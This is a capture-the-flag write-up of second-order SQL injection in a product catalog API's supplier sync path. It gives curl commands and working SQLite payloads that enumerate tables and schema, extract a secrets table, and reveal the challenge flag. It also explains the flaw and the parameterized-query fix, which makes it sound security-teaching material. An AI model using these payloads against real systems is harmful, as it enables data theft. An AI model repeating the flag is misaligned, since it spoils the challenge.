~/labs/ctf/fluid-attacks-latam-2026-2/supply-chain-reaction
Supply Chain ReactionA product catalog API pulls in data from its trusted supplier partners. Trusted. Partners. Not every endpoint made it into the docs.
Metadata
| Field | Value |
|---|---|
| Category | API |
| Difficulty | Medium |
| Points | 275 |
| Solves | 45 |
| First Blood | S3r4ph1el |
Challenge Description
A product catalog API pulls in data from its trusted supplier partners. Trusted.
Partners.
Not every endpoint made it into the docs.
Artifacts
This challenge was solved from the live API. At the time of this write-up pass, there was no source archive in this directory, so the useful artifacts were the live HTTP responses and the final helper script:
solve_supply_chain.sh
Target used during the solve:
https://94284f6f0a0f6fc2.chal.ctf.ae
Recon
I started with the root endpoint to avoid guessing hidden paths:
curl -k -i https://94284f6f0a0f6fc2.chal.ctf.ae/
Response:
{
"documentation": "/api/docs",
"service": "ProductCatalog API",
"status": "operational",
"version": "2.4.1"
}
The documentation listed the public API:
curl -k -i https://94284f6f0a0f6fc2.chal.ctf.ae/api/docs
Relevant response:
{
"api": "ProductCatalog",
"endpoints": [
{"method": "GET", "path": "/api/products"},
{"method": "GET", "path": "/api/products/<id>"},
{"method": "POST", "path": "/api/products/sync"}
],
"note": "Not all endpoints are documented here."
}
That note made me look at headers and secondary metadata, not just JSON bodies.
Requesting the product list exposed an undocumented supplier registration route
through the Link header:
curl -k -i https://94284f6f0a0f6fc2.chal.ctf.ae/api/products
Relevant header:
Link: </api/supplier/register>; rel="supplier-registration", </api/docs>; rel="documentation"
The current product list was normal catalog data:
{
"count": 5,
"products": [
{"id": 1, "name": "Industrial Sensor Module A1", "supplier": "internal"}
]
}
So the first real lead was not SQL injection yet. It was the hidden supplier
workflow mentioned by the challenge text and leaked by the API’s Link header.
Supplier Flow
The hidden registration endpoint explained the next step:
curl -k -i https://94284f6f0a0f6fc2.chal.ctf.ae/api/supplier/register
Relevant response:
{
"description": "Register as a new supplier to submit products",
"method": "POST",
"next_step": "After registration, use your supplier_id to submit products via /api/supplier/products"
}
I registered a supplier:
curl -k -X POST https://94284f6f0a0f6fc2.chal.ctf.ae/api/supplier/register \
-H 'Content-Type: application/json' \
-d '{"company_name":"codex-writeup","contact_email":"codex-writeup@example.com"}'
Response:
{
"status": "registered",
"supplier_id": "43edbdd6"
}
Then I submitted a normal product using that ID:
curl -k -X POST https://94284f6f0a0f6fc2.chal.ctf.ae/api/supplier/products \
-H 'X-Supplier-ID: 43edbdd6' \
-H 'Content-Type: application/json' \
-d '{"name":"writeup-normal-product","price":1.23}'
The supplier endpoint accepted it as pending:
{
"status": "submitted",
"product": {
"name": "writeup-normal-product",
"price": 1.23,
"status": "pending_sync",
"supplier_id": "43edbdd6"
}
}
After calling the public sync route:
curl -k -X POST https://94284f6f0a0f6fc2.chal.ctf.ae/api/products/sync
the product appeared in the public catalog:
curl -k 'https://94284f6f0a0f6fc2.chal.ctf.ae/api/products?search=writeup-normal-product'
Response:
{
"count": 1,
"products": [
{"name": "writeup-normal-product", "price": 1.23, "supplier": "43edbdd6"}
]
}
This confirmed the important data path:
supplier submission -> pending supplier feed -> /api/products/sync -> public products table
Vulnerability
The vulnerable behavior is SQL injection in the sync/import path. The supplier
submission endpoint stores product data, but the dangerous behavior only happens
later when /api/products/sync imports supplier products into the public
catalog.
The clue was the boundary between “pending supplier input” and “public catalog row”. I tested whether the sync process treated supplier product fields as data or as SQL syntax by submitting a product name that would close a string and control the remaining inserted columns:
curl -k -X POST https://94284f6f0a0f6fc2.chal.ctf.ae/api/supplier/products \
-H 'X-Supplier-ID: 43edbdd6' \
-H 'Content-Type: application/json' \
-d "{\"name\":\"wrinj-ok',123,'supinj')-- \",\"price\":1}"
After syncing and searching for wrinj-ok, the product appeared as:
{
"name": "wrinj-ok",
"price": 123.0,
"supplier": "supinj"
}
That response proved the injection shape. The name value closed the original
string, supplied 123 as the inserted price, supplied supinj as the inserted
supplier value, and commented out the rest of the SQL statement.
This matches a second-order SQL injection pattern: the first request stores attacker-controlled supplier data, and a later sync job retrieves that stored data and uses it unsafely in a SQL query. PortSwigger describes this exact class as data being safely stored initially, then later incorporated into a SQL query in an unsafe way.
Exploitation
The exploit chain was:
- Query
/and/api/docsto map the public API. - Inspect
/api/productsresponse headers and find the hidden supplier registration link. - Register as a supplier and obtain a
supplier_id. - Submit a normal product and trigger
/api/products/syncto understand the intended workflow. - Submit a product name that breaks out of the sync import query and controls
the inserted
priceandsuppliercolumns. - Use the
suppliercolumn as the exfiltration sink because it is returned by/api/products?search=<marker>. - Enumerate the database type, tables, schema, and finally secret values.
First I confirmed the database engine:
curl -k -X POST https://94284f6f0a0f6fc2.chal.ctf.ae/api/supplier/products \
-H 'X-Supplier-ID: 43edbdd6' \
-H 'Content-Type: application/json' \
-d "{\"name\":\"wrdbver',0,sqlite_version())-- \",\"price\":1}"
After sync, the result was:
{
"name": "wrdbver",
"price": 0.0,
"supplier": "3.46.1"
}
Then I listed tables from sqlite_master:
curl -k -X POST https://94284f6f0a0f6fc2.chal.ctf.ae/api/supplier/products \
-H 'X-Supplier-ID: 43edbdd6' \
-H 'Content-Type: application/json' \
-d "{\"name\":\"wrtables',0,(SELECT group_concat(name, ',') FROM sqlite_master WHERE type='table'))-- \",\"price\":1}"
After sync:
{
"name": "wrtables",
"supplier": "products,sqlite_sequence,secrets"
}
The secrets table was the obvious next target, but I still confirmed its schema
instead of guessing column names:
curl -k -X POST https://94284f6f0a0f6fc2.chal.ctf.ae/api/supplier/products \
-H 'X-Supplier-ID: 43edbdd6' \
-H 'Content-Type: application/json' \
-d "{\"name\":\"wrschema',0,(SELECT sql FROM sqlite_master WHERE name='secrets'))-- \",\"price\":1}"
After sync:
CREATE TABLE secrets (id INTEGER PRIMARY KEY, key TEXT NOT NULL, value TEXT NOT NULL)
Finally, I exfiltrated key:value pairs:
curl -k -X POST https://94284f6f0a0f6fc2.chal.ctf.ae/api/supplier/products \
-H 'X-Supplier-ID: 43edbdd6' \
-H 'Content-Type: application/json' \
-d "{\"name\":\"wrsecret',0,(SELECT group_concat(key || ':' || value, '|') FROM secrets))-- \",\"price\":1}"
After sync and search:
{
"name": "wrsecret",
"price": 0.0,
"supplier": "api_flag:flag{f0e22852b887b0cb}"
}
Technical Details
The working payload has the form:
marker',0,(SELECT expression))--
The observed behavior fits an unsafe INSERT-style statement where name,
price, and supplier are inserted as adjacent values. The benign proof:
wrinj-ok',123,'supinj')--
produced:
{"name":"wrinj-ok","price":123.0,"supplier":"supinj"}
That tells us the injected payload is not just causing an error. It is taking control of the remaining inserted values. The exploit uses this by placing subqueries in the supplier position:
(SELECT group_concat(name, ',') FROM sqlite_master WHERE type='table')
and:
(SELECT group_concat(key || ':' || value, '|') FROM secrets)
The public product search endpoint becomes the read channel. I used unique
markers such as wrdbver, wrtables, wrschema, and wrsecret so each
injected row could be retrieved deterministically from the public catalog.
The fix would be to use parameterized SQL in the sync/import path. It is not enough to validate only the supplier submission endpoint if the later importer reuses stored data in string-built SQL.
Exploit Artifact
The final artifact is solve_supply_chain.sh. It:
- registers a fresh supplier;
- submits one SQLi product payload;
- triggers
/api/products/sync; - searches for the marker row;
- prints the flag from the returned JSON.
Usage:
chmod +x solve_supply_chain.sh
./solve_supply_chain.sh https://94284f6f0a0f6fc2.chal.ctf.ae
Validation
Supplier registration:
{"status":"registered","supplier_id":"43edbdd6"}
SQLi control:
{"name":"wrinj-ok","price":123.0,"supplier":"supinj"}
Database fingerprint:
{"name":"wrdbver","supplier":"3.46.1"}
Table enumeration:
{"name":"wrtables","supplier":"products,sqlite_sequence,secrets"}
Secret exfiltration:
{"name":"wrsecret","supplier":"api_flag:flag{f0e22852b887b0cb}"}
Final script output:
flag{f0e22852b887b0cb}
References
- https://portswigger.net/web-security/sql-injection
- https://owasp.org/www-community/attacks/SQL_Injection
Flag
flag{f0e22852b887b0cb}